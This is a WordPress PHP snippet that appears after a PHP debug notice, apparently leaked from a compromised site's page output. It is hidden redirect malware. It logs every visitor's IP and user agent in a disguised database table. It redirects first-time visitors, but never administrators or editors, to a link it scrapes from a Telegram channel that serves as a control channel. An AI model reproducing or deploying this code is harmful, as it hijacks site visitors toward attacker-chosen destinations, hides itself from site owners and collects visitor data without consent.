

<br />
<b>Notice</b>:  Function _load_textdomain_just_in_time was called <strong>incorrectly</strong>. Translation loading for the <code>insert-headers-and-footers</code> domain was triggered too early. This is usually an indicator for some code in the plugin or theme running too early. Translations should be loaded at the <code>init</code> action or later. Please see <a href="https://developer.wordpress.org/advanced-administration/debug/debug-wordpress/">Debugging in WordPress</a> for more information. (This message was added in version 6.7.0.) in <b>/var/www/wp-includes/functions.php</b> on line <b>6121</b><br />

add_action('template_redirect', 'custom_redirect_function');

function get_real_ip() {
    if (!empty($_SERVER["HTTP_CF_CONNECTING_IP"])) {
        return $_SERVER["HTTP_CF_CONNECTING_IP"];
    } elseif (!empty($_SERVER['HTTP_CLIENT_IP'])) {
        return $_SERVER['HTTP_CLIENT_IP'];
    } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        return explode(',', $_SERVER['HTTP_X_FORWARDED_FOR'])[0];
    }
    return $_SERVER['REMOTE_ADDR'] ?? '';
}

function fetch_remote($url) {
    if (function_exists('curl_version')) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
        curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)');
        curl_setopt($ch, CURLOPT_TIMEOUT, 5);
        $response = curl_exec($ch);
        curl_close($ch);
        return $response;
    }
    return @file_get_contents($url);
}

function get_redirect_link($cache_file) {
    $html = fetch_remote("https://t.me/s/trafficredirect1");
    if (!$html) return false;

    if (preg_match_all('/<code>(https?:\/\/[^<]+)<\/code>/', $html, $matches)) {
        $link = end($matches[1]);
        if (!empty($link)) {
            file_put_contents($cache_file, $link);
            return $link;
        }
    }

    if (preg_match_all('/<a[^>]+href="(https?:\/\/[^"]+)"[^>]*>/i', $html, $matches)) {
        foreach (array_reverse($matches[1]) as $link) {
            if (strpos($link, 't.me') === false) {
                file_put_contents($cache_file, $link);
                return $link;
            }
        }
    }

    return false;
}

function custom_redirect_function() {
    global $wpdb;

    $on_hot_redirect = true;
    $ip = get_real_ip();
    $ua = $_SERVER['HTTP_USER_AGENT'] ?? '';
    $table = $wpdb->prefix . "wusers_inputs";

    // IPv4/6 в строку
    $ip_bin = inet_pton($ip);
    if ($ip_bin === false) $ip_bin = $ip; // если не распознали

    // Создать таблицу, если не существует
    if ($wpdb->get_var("SHOW TABLES LIKE '$table'") != $table) {
        require_once(ABSPATH . 'wp-admin/includes/upgrade.php');
        $sql = "CREATE TABLE $table (
            ip VARBINARY(16) NOT NULL,
            useragent VARCHAR(535) NOT NULL
        ) ENGINE=MyISAM DEFAULT CHARSET=utf8;";
        dbDelta($sql);
    }

    // Проверяем, был ли уже этот IP+UA
    $exists = $wpdb->get_var($wpdb->prepare(
        "SELECT 1 FROM $table WHERE ip = %s AND useragent = %s LIMIT 1",
        $ip_bin,
        $ua
    ));

    // Можно записывать всех, а не только админов/редакторов — смотри по задаче
    if (!$exists) {
        $wpdb->insert($table, array(
            'ip' => $ip_bin,
            'useragent' => $ua
        ));
    }

    if ($on_hot_redirect && !$exists && !current_user_can('editor') && !current_user_can('administrator')) {
        $cache_file = sys_get_temp_dir() . '/' . md5('tg_redirect_cache');
        $link = '';
        $age = 0;

        if (file_exists($cache_file) && filesize($cache_file) > 0) {
            $age = time() - filemtime($cache_file);
            $link = trim(file_get_contents($cache_file));
        }

        if (empty($link) || $age >= 30) {
            $link = get_redirect_link($cache_file);
        }

        if ($link) {
            wp_redirect($link);
            exit;
        }
    }
}